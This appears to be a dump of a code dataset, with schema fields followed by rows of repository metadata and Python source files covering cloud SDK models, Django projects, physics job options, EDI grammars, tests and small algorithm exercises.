blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
5106dc72505d9f9e1fa79af546d4928a00553ac1
a2d36e471988e0fae32e9a9d559204ebb065ab7f
/huaweicloud-sdk-bss/huaweicloudsdkbss/v2/model/list_free_resource_usages_response.py
32fcd37685c0a991dd38160f471cb32be729756f
[ "Apache-2.0" ]
permissive
zhouxy666/huaweicloud-sdk-python-v3
4d878a90b8e003875fc803a61414788e5e4c2c34
cc6f10a53205be4cb111d3ecfef8135ea804fa15
refs/heads/master
2023-09-02T07:41:12.605394
2021-11-12T03:20:11
2021-11-12T03:20:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,520
py
# coding: utf-8 import re import six from huaweicloudsdkcore.sdk_response import SdkResponse from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class ListFreeResourceUsagesResponse(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name ...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
d8fe58054c2c44cdeeb4fe69c69437c0f86d0071
d020606f5e9174aa669e4b6b316bdb0fcb05ce02
/venv/bin/poco
059042268f3b2fffde4e2901f8eb9785d02517c1
[]
no_license
Hanlen520/AutomationProject
4c1270fba570b256493cd6681d715e0b5136a4f5
95a7cb61d8b339a6409483d738de5a0d9d85b321
refs/heads/master
2023-04-02T20:23:07.696753
2021-04-07T07:57:04
2021-04-07T07:57:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
252
#!/Users/cgt/PycharmProjects/AutomationProject/venv/bin/python # -*- coding: utf-8 -*- import re import sys from poco.poco import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "39899119+792607724@users.noreply.github.com" ]
39899119+792607724@users.noreply.github.com
3b95e7236be22860c55f9dfaae5b54afb3f614c5
8f50c262f89d3dc4f15f2f67eb76e686b8f808f5
/LArCalorimeter/LArTest/LArConditionsTest/share/LArConditionsTestWriteNoCorr_jobOptions.py
89fbcc32417df501231b6ff6dc1fe5c4bed15e57
[ "Apache-2.0" ]
permissive
strigazi/athena
2d099e6aab4a94ab8b636ae681736da4e13ac5c9
354f92551294f7be678aebcd7b9d67d2c4448176
refs/heads/master
2022-12-09T02:05:30.632208
2020-09-03T14:03:18
2020-09-03T14:03:18
292,587,480
0
1
null
null
null
null
UTF-8
Python
false
false
4,716
py
############################################################### # # Job options file # #============================================================== #use McEventSelector theApp.setup( MONTECARLO ) theApp.Dlls += [ "GaudiAud" ] theAuditorSvc = AuditorSvc() theAuditorSvc.Auditors = [ "ChronoAuditor" ] #----------...
[ "graemes.cern@gmail.com" ]
graemes.cern@gmail.com
74d90e042ba231c8c91e05ba23e8307c028c0de8
71c13b7684f1f5ecd4cecf30ab1e066567f22ee6
/talk_app/migrations/0005_auto_20160723_1500.py
12a51fab0f83b21a7a44436a6fcc3ee82c825ae8
[]
no_license
hpaasch/prez_party
ab6571ec5f0f0020a78237e6682ee7968a3ec937
7829a6c139381f106e470735e363643963f2ddf4
refs/heads/master
2020-04-12T05:36:44.554067
2017-01-16T17:44:05
2017-01-16T17:44:05
63,496,848
0
0
null
null
null
null
UTF-8
Python
false
false
1,039
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-07-23 15:00 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('talk_app', '0004_auto_20160722_0050'), ] operations = [ migrations.CreateMod...
[ "hepaasch@gmail.com" ]
hepaasch@gmail.com
07ba2af456a9633207bd7a584db92ec19cd29cdf
fc6d99cda64356bbc55d87c0a703b06463e1a3bb
/blogproject/settings.py
53e37e2327a908b7368b06558dbfa7842b64b074
[]
no_license
Cookie993/blog
097860cc2aa0d38793690374b8a25f3db6c12078
30ebf4cab2fdd14cec24619789e2a9223294f82b
refs/heads/master
2023-04-28T01:59:01.255489
2020-03-24T13:51:55
2020-03-24T13:51:55
249,678,688
0
0
null
2023-04-21T20:53:45
2020-03-24T10:31:07
Python
UTF-8
Python
false
false
3,239
py
""" Django settings for blogproject project. Generated by 'django-admin startproject' using Django 2.2.3. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import o...
[ "you@example.com" ]
you@example.com
51559b93d9d5db445ade3fe0914a4fd6ec0bd274
6abd8c493c0de94797283ef110f3a394ba8c3be1
/lininterp.py
407e9b8582ea873aca7bc49f75f3096eea2df798
[]
no_license
jstac/sandpit
8495750b693f412ed0b3623ca0742a473e7e4c86
8932b5caaa0211ea139979a995d8375a52925973
refs/heads/master
2023-08-07T14:38:20.806749
2023-07-20T22:34:02
2023-07-20T22:34:02
34,191,971
0
6
null
2020-04-04T23:58:08
2015-04-19T03:23:04
Jupyter Notebook
UTF-8
Python
false
false
912
py
import numpy as np from numba import jit @jit(nopython=True) def interp1d(grid, vals, x): """ Linearly interpolate (grid, vals) to evaluate at x. Parameters ---------- grid and vals are numpy arrays, x is a float Returns ------- a float, the interpolated value """ a,...
[ "john.stachurski@gmail.com" ]
john.stachurski@gmail.com
79df55d3c48438d5910a2905eddd7b3b3be11240
39ef585278bec8b3348f1b7653f7ee89a4b2edfc
/test/test_modules.py
5279d71562a8fc035af1c2dc061d61cda9257d1a
[ "Apache-2.0" ]
permissive
gorogorota/testinfra
ceec2c43c80d1365a84d018fada1aae00d0e362c
a2dfdb0ba0de20f8fc5fb4d0454dae6a19f755ba
refs/heads/master
2020-03-22T11:12:45.181503
2018-07-05T17:20:05
2018-07-05T17:22:09
139,955,636
0
0
Apache-2.0
2018-07-06T08:24:07
2018-07-06T08:24:06
null
UTF-8
Python
false
false
14,777
py
# coding: utf-8 # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # dist...
[ "phil@philpep.org" ]
phil@philpep.org
1bd8e75601884afc324997463c6973e19df0df87
a8da7aa38ea0b094329f9ad25e2ed1d41b712269
/stackdriver/demo1.py
5caba1a14df05627a827c682484ce81d4cd3c940
[]
no_license
ikedaosushi/python-sandbox
ef04fbece2aad56975a3abef4cf58badb53f37c0
d887b22f46635f053f9b5e3ea33c538058e4267c
refs/heads/master
2021-11-23T17:44:06.296229
2020-07-26T08:56:12
2020-07-26T08:56:12
154,621,904
13
2
null
2021-11-16T22:15:17
2018-10-25T06:37:01
Jupyter Notebook
UTF-8
Python
false
false
473
py
from stackprinter import trace, TracePrinter import numpy as np def dosomething(x): y = dosomethingelse(x) return y def dosomethingelse(y): a = 2*y b = doYetAnotherThing(y) return b def doYetAnotherThing(z): a = z b = {'a': np.ones(1)} zup = np.ones(0) return zup # with TracePrin...
[ "yutaro.ikeda@kaizenplatform.com" ]
yutaro.ikeda@kaizenplatform.com
acbf8405087ca86161d6e170956d2081ea9d5ee7
c6588d0e7d361dba019743cacfde83f65fbf26b8
/x12/5030/940005030.py
b901b88021073011c482bb72b174d293c09be846
[]
no_license
djfurman/bots-grammars
64d3b3a3cd3bd95d625a82204c3d89db6934947c
a88a02355aa4ca900a7b527b16a1b0f78fbc220c
refs/heads/master
2021-01-12T06:59:53.488468
2016-12-19T18:37:57
2016-12-19T18:37:57
76,887,027
0
0
null
2016-12-19T18:30:43
2016-12-19T18:30:43
null
UTF-8
Python
false
false
3,378
py
from bots.botsconfig import * from records005030 import recorddefs syntax = { 'version' : '00403', #version of ISA to send 'functionalgroup' : 'OW', } structure = [ {ID: 'ST', MIN: 1, MAX: 1, LEVEL: [ {ID: 'W05', MIN: 1, MAX: 1}, {ID: 'N1', MIN: 0, MAX: 10, LEVEL...
[ "jason.capriotti@gmail.com" ]
jason.capriotti@gmail.com
c2d00dc44f72d5c959f564115317550cec2e67fc
c7a6f8ed434c86b4cdae9c6144b9dd557e594f78
/ECE364/.PyCharm40/system/python_stubs/1437855905/PySide/QtGui/QGraphicsSimpleTextItem.py
bbef983855e95cdd58ff0d23e4362bcbc18846ec
[]
no_license
ArbalestV/Purdue-Coursework
75d979bbe72106975812b1d46b7d854e16e8e15e
ee7f86145edb41c17aefcd442fa42353a9e1b5d1
refs/heads/master
2020-08-29T05:27:52.342264
2018-04-03T17:59:01
2018-04-03T17:59:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,600
py
# encoding: utf-8 # module PySide.QtGui # from /opt/python3/current/lib/python3.4/site-packages/PySide/QtGui.so # by generator 1.136 # no doc # imports import PySide.QtCore as __PySide_QtCore import Shiboken as __Shiboken from .QAbstractGraphicsShapeItem import QAbstractGraphicsShapeItem class QGraphicsSimpleTextIt...
[ "pkalita@princeton.edu" ]
pkalita@princeton.edu
f1dc2fcfc23de9cdcce97605784fdf1f7c00b24b
413f7768f98f72cef8423c473424d67642f1228f
/exercises/15_module_re/test_task_15_3.py
7db8319e8a18a1ad4526e57e9829bfc455db677e
[]
no_license
easypythoncode/PyNEng
a7bbf09c5424dcd81796f8836509be90c3b1a752
daaed1777cf5449d5494e5a8471396bbcb027de6
refs/heads/master
2023-03-22T01:21:47.250346
2022-08-29T18:25:13
2022-08-29T18:25:13
228,477,021
0
0
null
null
null
null
UTF-8
Python
false
false
3,258
py
import pytest import task_15_3 import sys sys.path.append("..") from pyneng_common_functions import check_function_exists # Проверка что тест вызван через pytest ..., а не python ... from _pytest.assertion.rewrite import AssertionRewritingHook if not isinstance(__loader__, AssertionRewritingHook): print(f"Тесты...
[ "58902135+easypythoncode@users.noreply.github.com" ]
58902135+easypythoncode@users.noreply.github.com
daaecbd7af35ca66f84f71454cdc722498aa4eb1
f9189d110f13a1efebed1889f6ee4556580fb5e8
/py/205_remove_vec.py
9bdfb35f0b467e55a70f0b1de894e415e06f56f8
[]
no_license
KazukiOnodera/KaggleDays
46872ca814e61602144677222a4c15268778367e
ab24d715d32053d32c86aca2850b1ec34efffca1
refs/heads/master
2020-03-17T22:46:13.410650
2018-06-26T04:54:01
2018-06-26T04:54:01
134,017,797
3
2
null
null
null
null
UTF-8
Python
false
false
341
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat May 19 17:10:49 2018 @author: kazuki.onodera """ import utils train = utils.read_pickles('../data/201_train') test = utils.read_pickles('../data/201_test') train.iloc[0;, :600].to_pickle('../data/train_vec.pkl') test.iloc[0;, :600].to_pickle('../da...
[ "luvsic02@gmail.com" ]
luvsic02@gmail.com
fa122397d4b3498eef20fea729a92a4a810d78f8
5c902cfea2856b5b591a9e4de4ecf7d66d01c3a0
/백준/기초1/수학1(참고)/진법변환.py
22824232be7135716b2e4f16e1d63c068993ab6f
[]
no_license
VIXXPARK/pythonAlgorithm
9cbedf1e9dc387756bed1793081be90e77daf9e8
8675fc0e078d90620ecf9dae95c1ccd6bcd36d37
refs/heads/main
2023-05-29T10:41:51.900075
2021-06-17T23:28:51
2021-06-17T23:28:51
316,072,889
0
0
null
null
null
null
UTF-8
Python
false
false
260
py
import sys a,b=sys.stdin.readline().split() li=[] b=int(b) for x in a: li.append(x) li.reverse() cnt=0 ans=0 for x in li: if x>='0' and x<='9': ans+=(b**cnt)*int(x) else: ans+=(b**cnt)*int((ord(x)-ord('A')+10)) cnt+=1 print(ans)
[ "vixx170627@gmail.com" ]
vixx170627@gmail.com
b135d754960e5e237d46ecd3de3f32a7345e83b9
2bdedcda705f6dcf45a1e9a090377f892bcb58bb
/src/main/output/result_netflix_father_database/job_country/netflix/parent.py
f67f65f1b86b0f4c5df341f404906fbccac6888d
[]
no_license
matkosoric/GenericNameTesting
860a22af1098dda9ea9e24a1fc681bb728aa2d69
03f4a38229c28bc6d83258e5a84fce4b189d5f00
refs/heads/master
2021-01-08T22:35:20.022350
2020-02-21T11:28:21
2020-02-21T11:28:21
242,123,053
1
0
null
null
null
null
UTF-8
Python
false
false
2,376
py
# -*- coding: utf-8 -*- import pandas as pd import http.client, urllib.parse from googletrans import Translator # ********************************************** # *** Update or verify the following values. *** # ********************************************** # Replace the subscriptionKey string value with your valid ...
[ "soric.matko@gmail.com" ]
soric.matko@gmail.com
c1b4945257b74440b210274f525d28c4af3d3c94
489620cc94e7486e304657244e890097fb45b336
/modules/misc.py
b92380db1a530cbafde3adadd93456eaba9ffc73
[]
no_license
woolpeeker/trt_ort_python_demo
a24244d131eb92274b72a5b912ea4f5dfd006385
d6e57e0f6919bf3c74f13ba0bdfccd5fda96be55
refs/heads/main
2023-08-19T23:30:49.773158
2021-10-20T03:26:10
2021-10-20T03:26:10
419,171,991
0
0
null
null
null
null
UTF-8
Python
false
false
706
py
import time __all__ = ['Timer'] class Timer: def __init__(self, name): self.name = name self.tic = 0 self.num = 0 self.total = 0 self.running = False def start(self): assert not self.running, "cannot start timer twice" self.tic = time.time() self...
[ "luojiapeng1993@gmail.com" ]
luojiapeng1993@gmail.com
89e883313ce27dd70ffd073b1c954955fa2893af
d61a97c2977e5ef6db5350820493ca6e45d07d23
/exc02.py
4a7bde97459d024defd1d6fa596653b48e3976ca
[]
no_license
LucasAMiranda/PythonistaDePlantao
05fd0b7678d21bafcf7aecede7f46faae789bb79
1caffb13077d8e42539b3d49cc8e6dab799ece23
refs/heads/master
2023-01-09T13:31:35.447879
2020-11-19T16:39:43
2020-11-19T16:39:43
314,308,250
0
0
null
null
null
null
UTF-8
Python
false
false
347
py
n1 = int(input('informe o primeiro número: ')) n2 = int(input('informe o segundo número: ')) n3 = int(input('Informe o terceiro número: ')) if (n3 < n2): aux = n3 n3 = n2 n2 = aux if(n2 < n1): aux = n2 n2 = n1 n1 = aux if(n3 < n1): aux = n3 n3 = n2 n2 = aux print('\n', n3) print('\...
[ "you@example.com" ]
you@example.com
773fd42fdaa65ed0a3a1dbb6022a08597ec69eec
96cfaaa771c2d83fc0729d8c65c4d4707235531a
/TauAnalysis/BgEstimationTools/python/makeReplacementsBgEstSkim.py
2764cac96b2bdc94f16e9058ff80f0d8bd665e91
[]
no_license
khotilov/cmssw
a22a160023c7ce0e4d59d15ef1f1532d7227a586
7636f72278ee0796d0203ac113b492b39da33528
refs/heads/master
2021-01-15T18:51:30.061124
2013-04-20T17:18:07
2013-04-20T17:18:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,465
py
#-------------------------------------------------------------------------------- # Compose replacements string used to create python configuration files # for execution of 'cmsRun skimZto.._cfg.py' jobs on the CERN batch system # # NOTE: The replacements string returned by the makeReplacementsAnalysis function # ...
[ "sha1-5c72da6f595cce9b6b48aff6d56f01e9beb4aad1@cern.ch" ]
sha1-5c72da6f595cce9b6b48aff6d56f01e9beb4aad1@cern.ch
55ab32a5d04fc9ff9c60caa2f7ffc15a12bf8512
fa5ab1405daf480ef4974faeb1cc2be319eba8eb
/misc/Merge Sort.py
c1ef3465954d81936325441ce14f90c773306d65
[]
no_license
zhanglintc/tools-lite
c0269546f4c43f58b5c097cdcebd9993bdbca58b
9311ad827492c5fc1a3ae504a5c593fee299c0aa
refs/heads/master
2023-08-03T22:37:49.862934
2023-07-25T12:30:24
2023-07-25T12:30:24
30,790,872
3
0
null
null
null
null
UTF-8
Python
false
false
641
py
lst = [13, 5, 111, 2.5, 10, 12] def merge(lst1, lst2): lst = [] while(len(lst1) > 0 and len(lst2) > 0): if lst1[0] < lst2[0]: lst.append(lst1[0]) lst1.pop(0) else: lst.append(lst2[0]) lst2.pop(0) if len(lst1) != 0: ls...
[ "zhanglintc623@gmail.com" ]
zhanglintc623@gmail.com
2611ee86af2c518506ba32884f2ef12401d9b519
09781c42a586a540532a29833b6de82d5aee17d0
/rev/iuware/chall.py
66c505e1c7cebd06672173180a278cbd63e84e96
[]
no_license
KelompokStudiLinux/fasttekno2021
6eecac661944910adc838255a32d4463a1b8d140
bebb318c29d85cf2ab7853fa59d330bf63a23b28
refs/heads/master
2023-06-09T03:23:31.649315
2021-07-03T11:32:32
2021-07-03T11:32:32
347,614,139
0
0
null
null
null
null
UTF-8
Python
false
false
1,188
py
import random import os import dis def shuffle_secret(): secret_out = '' secret_str = ''.join('fastIUteknoIU2021'.split("IU")) for count, loop in enumerate(secret_str): if count % 2 == 0: secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop]) else: secret_out += loop return secret_out ...
[ "christophergin88@gmail.com" ]
christophergin88@gmail.com
1cb86fb53d98afa0e063cc08c473f90750da8789
6f05f7d5a67b6bb87956a22b988067ec772ba966
/data/test/python/67c9a9738513cc80107f2e18ff689153021b460cSaveSystem.py
67c9a9738513cc80107f2e18ff689153021b460c
[ "MIT" ]
permissive
harshp8l/deep-learning-lang-detection
93b6d24a38081597c610ecf9b1f3b92c7d669be5
2a54293181c1c2b1a2b840ddee4d4d80177efb33
refs/heads/master
2020-04-07T18:07:00.697994
2018-11-29T23:21:23
2018-11-29T23:21:23
158,597,498
0
0
MIT
2018-11-21T19:36:42
2018-11-21T19:36:41
null
UTF-8
Python
false
false
2,414
py
from direct.showbase.DirectObject import DirectObject import struct class SaveManager(DirectObject): def __init__(self,world): self.worldObj = world self.saveFileName = "Orellia.save" self.isOpen = True def closeFile(self,saveFile): saveFile.close() self.is...
[ "aliostad+github@gmail.com" ]
aliostad+github@gmail.com
16f470301d100ff76505bf64e2bdb9f3169509cc
726754863696235c66c8ed9aa184fc13ade33afe
/basics/binary_searcch.py
7204e9a2731b308e50789a05ff28ef19e026261b
[]
no_license
harshalms/python
ef6a3eeb93c5051528cb0b76fd600a2943e10616
bfea8f00795c4308b09d80852cb995a8109c1568
refs/heads/master
2021-07-17T18:52:36.053780
2020-07-25T15:45:41
2020-07-25T15:45:41
189,624,661
0
0
null
2019-06-17T05:37:24
2019-05-31T16:20:52
Python
UTF-8
Python
false
false
345
py
A = [1, 2, 3, 4, 5, 6, 99, 109, 111] x=1 def bin_search(A): start, end = 0, len(A)-1 while start <= end: mid = (start + end)//2 if x == A[mid]: return mid else: if x < A[mid]: end = mid-1 else: start = mid+1 return F...
[ "harshal95iitk@gmail.com" ]
harshal95iitk@gmail.com
be3658f73c4b7c2c847b28b4975ce9f8af4d83e3
b2b2624709c7c9f9babde4a69de1928d361535af
/TopTagging/training/H/trainECFNH.py
fe23436c9c833ace27676993be2a37279823bca2
[]
no_license
sidnarayanan/SCRAMJet
8b57214d2be332cafb306cb528e4077444f7d74e
967e296d9e1e7d1442f662bbf940b3bbba581ad0
refs/heads/master
2021-01-21T06:24:55.872028
2016-10-18T12:45:48
2016-10-18T12:45:48
83,228,546
0
0
null
null
null
null
UTF-8
Python
false
false
872
py
#!/usr/bin/env python import ROOT as root from PandaCore.Tools.Load import * from PandaCore.Tools.Misc import * from os import getenv import cfgInvarH as cfg #import makeInvariantRatios as cfg Load('Learning','TMVATrainer') workdir = getenv('SCRAMJETFLAT') trainer = root.TMVATrainer('higgs_ecfbdt',workdir+'trainin...
[ "sidn@mit.edu" ]
sidn@mit.edu
b04ed8d035feed15d7896cc8a632cd9a3e3f527c
48e124e97cc776feb0ad6d17b9ef1dfa24e2e474
/sdk/python/pulumi_azure_native/securityandcompliance/private_endpoint_connections_for_edm.py
29fc4ca7848dc1d6d0028810ce3d1488228299b8
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
bpkgoud/pulumi-azure-native
0817502630062efbc35134410c4a784b61a4736d
a3215fe1b87fba69294f248017b1591767c2b96c
refs/heads/master
2023-08-29T22:39:49.984212
2021-11-15T12:43:41
2021-11-15T12:43:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,894
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from...
[ "noreply@github.com" ]
bpkgoud.noreply@github.com
b2983a59de3b6fbcc47c08007449de5a2bcc62a3
c8a0f1ee8ca4b27d6b71e1a358f950a5f168b953
/Crud Django/sobre/views.py
747c761bceab48b0988c111e14d65cf7d5211e91
[]
no_license
natanaelfelix/Estudos
0c3a54903a5ac457c1c1cfbdc22202683c46b62c
10b33fa7cb8521d63ea6a14c04894a5f7e86ee0c
refs/heads/master
2022-12-16T12:07:45.088305
2020-09-19T19:56:07
2020-09-19T19:56:07
296,936,330
0
0
null
null
null
null
UTF-8
Python
false
false
129
py
from django.shortcuts import render # Create your views here. def teste(request): return render(request, 'sobre/bla.html')
[ "natanaelmartinsfelix@hotmail.com" ]
natanaelmartinsfelix@hotmail.com
5f7f6c60a6f2f4432b4c9464fe1ada483d8d0fef
51bd1f17a4e9942128b2c0824d397ebb74067e4c
/py_box3/job_management/check_job_array3
15e8f609ecb11bc79458e7ddbc4e4aee631defa7
[]
no_license
jonlym/py_box
3290db8fab2ca97fbd348d02ae4a3319207ccfb0
ae5187a433ef654d6b96ee98ca7ab742d83d11d9
refs/heads/master
2021-01-19T05:42:10.056427
2018-12-20T18:44:01
2018-12-20T18:44:01
87,442,931
0
0
null
null
null
null
UTF-8
Python
false
false
3,358
#!/usr/bin/env python3 """ Created on Thu Apr 27 11:24:22 2017 @author: Jonathan Lym """ import argparse #from warnings import warn from os import getcwd, chdir from os.path import isdir, exists #Parse arguments parser = argparse.ArgumentParser(description = "Checks the paths in joblist.txt and folderlist.txt to ens...
[ "jonathanalym@gmail.com" ]
jonathanalym@gmail.com
bc995c94a93dc5cf112b4b6ca1d6ea3dff8844f7
9374fd0a9823c59c2cfd9e705be7b03ef9a6c676
/build_isolated/effort_controllers/catkin_generated/pkg.installspace.context.pc.py
393bf9be820e30db84bd015321b3838ce0fd8d50
[]
no_license
kamoonty/catkin_ws_roboware
288a2e644a3b7c2ba34f69d08042bc51be958861
e11115678a4579d68bd2cad5791225e273636ad6
refs/heads/master
2022-05-03T12:36:13.035787
2019-11-17T16:49:20
2019-11-17T16:49:20
180,313,282
0
0
null
null
null
null
UTF-8
Python
false
false
653
py
# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/kanin/catkin_ws_roboware/install_isolated/include".split(';') if "/home/kanin/catkin_ws_roboware/install_isolated/include" != "" else [] PROJECT_CATKIN_DEPENDS = "angles;controller_interface;cont...
[ "kamoonty@gmail.com" ]
kamoonty@gmail.com
62f63607239688ffb91a360baea18768a98c5636
252da18358d2781c1e04468d923c9c51bb88e0b9
/client/migrations/0002_auto_20210324_1041.py
e4c08643e4a7bae57e588bb87c4e689c5ec80165
[]
no_license
jamshidxalilov/ishop
2769e2b4279589de662bd87272a57c80bb718507
e489d20892dbb3e26f63a40b7ab2384dd10ef9fe
refs/heads/main
2023-04-30T17:36:05.434518
2021-03-27T18:05:33
2021-03-27T18:05:33
348,248,131
0
0
null
null
null
null
UTF-8
Python
false
false
1,283
py
# Generated by Django 3.1.7 on 2021-03-24 10:41 import client.models from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('client', '0001_initial'), ] operations = [ migrations.CreateModel( name='U...
[ "you@example.com" ]
you@example.com
119893057a129e0b5c1e637f513f68897127e756
e141dc632e6a3b7b9dca99417bac7016a09e8827
/KHMFL/maps/urls.py
78d6218d754e3acf7a8327f8e8fcd13610f8fb46
[]
no_license
dennisnyamweya/KMHFL
5eefb1cc82ac4d70c3256ee8317261f1451498e1
8907425e4f8389c43f1e4eb463667d19a06fd8e7
refs/heads/master
2023-06-10T05:27:50.658150
2021-06-29T05:44:36
2021-06-29T05:44:36
380,753,030
0
5
null
2021-06-29T05:44:37
2021-06-27T13:55:06
Python
UTF-8
Python
false
false
234
py
from django.urls import path from django.conf.urls import url from . import views urlpatterns = [ # path('registerUser/' , views.addUser , name = "registerUser"), # path('verifyUser/' , views.verifyUser , name = "authenticate"), ]
[ "denisnyamweya813@gmail.com" ]
denisnyamweya813@gmail.com
ec2b3a6385f81ee25ec7b5ce5f8581de435e3c49
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_057/ch135_2020_04_01_12_16_28_407370.py
414193c4396a25e4e56466af8fa6f7ec2c07f829
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
188
py
def equaliza_imagem(list,k): i=0 while i <= len(list): new_list = [i * k for i in list] if new_list[i] > 255: new_list[i] = 255 return new_list
[ "you@example.com" ]
you@example.com
01ba2e082d9983bef0b0acc790eefef5d12bdc77
4d8366d150c7cb05d1ca09fe359cb18d37c3a4d7
/phillydata/availableproperties/admin.py
bb106bdb37f4ae50ccdf7685901b9ef24b23f79d
[ "BSD-2-Clause", "BSD-3-Clause" ]
permissive
fagan2888/django-phillydata
9ff5b91083694e9453d786e41e189011b2cd8299
444a3ff9d436cd276530534642dd092402278ba5
refs/heads/master
2020-12-19T11:55:32.573183
2014-12-22T16:35:24
2014-12-22T16:35:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
750
py
from django.contrib import admin from django.contrib.gis.admin import OSMGeoAdmin from reversion_compare.admin import CompareVersionAdmin from .models import AvailableProperty class AvailablePropertyAdmin(OSMGeoAdmin, CompareVersionAdmin): date_hierarchy = 'last_seen' list_display = ('address', 'price_str',...
[ "ebrelsford@gmail.com" ]
ebrelsford@gmail.com
e61b628ec7e483e1d9e49ca040d8ff2369ae80c3
8015f1c62a2cb4efd21aa8938336913bf8117868
/bamap/ba0790.pngMap.py
dda68218bfbd78591d104b51704283ae80575f97
[]
no_license
GamerNoTitle/Beepers-and-OLED
675b5e3c179df0f0e27b42bf594c43860d03b9af
afe1340e5394ae96bda5f9022a8a66824368091e
refs/heads/master
2020-04-20T00:09:47.122471
2019-04-29T04:59:35
2019-04-29T04:59:35
168,515,579
4
2
null
null
null
null
UTF-8
Python
false
false
8,468
py
ba0790.pngMap = [ '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111100000000000000000', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111110000000000000000', '0000000000000000000000000000000000000...
[ "bili33@87ouo.top" ]
bili33@87ouo.top
a338a9d9689d9fb550e2aa4c7816ca916fdf08ce
2f1a092537d8650cacbd274a3bd600e87a627e90
/thrift/lib/py3/test/refs.py
589bff5a909053e9d764e92ff87f19a88450f952
[ "Apache-2.0" ]
permissive
ConnectionMaster/fbthrift
3aa7d095c00b04030fddbabffbf09a5adca29d42
d5d0fa3f72ee0eb4c7b955e9e04a25052678d740
refs/heads/master
2023-04-10T17:49:05.409858
2021-08-03T02:32:49
2021-08-03T02:33:57
187,603,239
1
1
Apache-2.0
2023-04-03T23:15:28
2019-05-20T08:49:29
C++
UTF-8
Python
false
false
3,084
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless require...
[ "facebook-github-bot@users.noreply.github.com" ]
facebook-github-bot@users.noreply.github.com
8a335b99ce2d65a692984aaa1545053cd531583d
31e9fdbfacfea4bdee39bf4ad2e6db7b6a01324a
/utils/argparse.py
becfbcfa84215b3a0a2bf5e0712db282e0853723
[ "Apache-2.0" ]
permissive
StephenTaylor1998/TSSCapsNet
1413bc8c06104b4ab0e4494b3970caf86f30027b
edc01b85987da641f4797c1bf60355bc78a6d51f
refs/heads/master
2023-04-11T11:40:59.910605
2021-04-26T12:55:49
2021-04-26T12:55:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,748
py
# Copyright 2021 Hang-Chi Shen. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
[ "2684109034@qq.com" ]
2684109034@qq.com
770949aa93788ccc0e17d239c77436752c5ca39b
bf681fbd7edbf4f8f1e0b20cbd09b362f777c9c3
/bazel/py_nest_repro/test/usage_test.py
3b04e5a677f6d8739690f52497efe36cad6681fd
[ "BSD-3-Clause" ]
permissive
EricCousineau-TRI/repro
308d4a86f3c7da8be5811db2f3f68d39db60d7ed
9800f45e07f511c9a355ee90333955451b55559a
refs/heads/master
2023-08-31T13:49:23.540640
2023-08-25T19:18:33
2023-08-25T19:18:33
87,116,976
24
13
NOASSERTION
2023-03-25T01:40:55
2017-04-03T20:19:28
Jupyter Notebook
UTF-8
Python
false
false
49
py
../sub_example/src/sub_example/test/usage_test.py
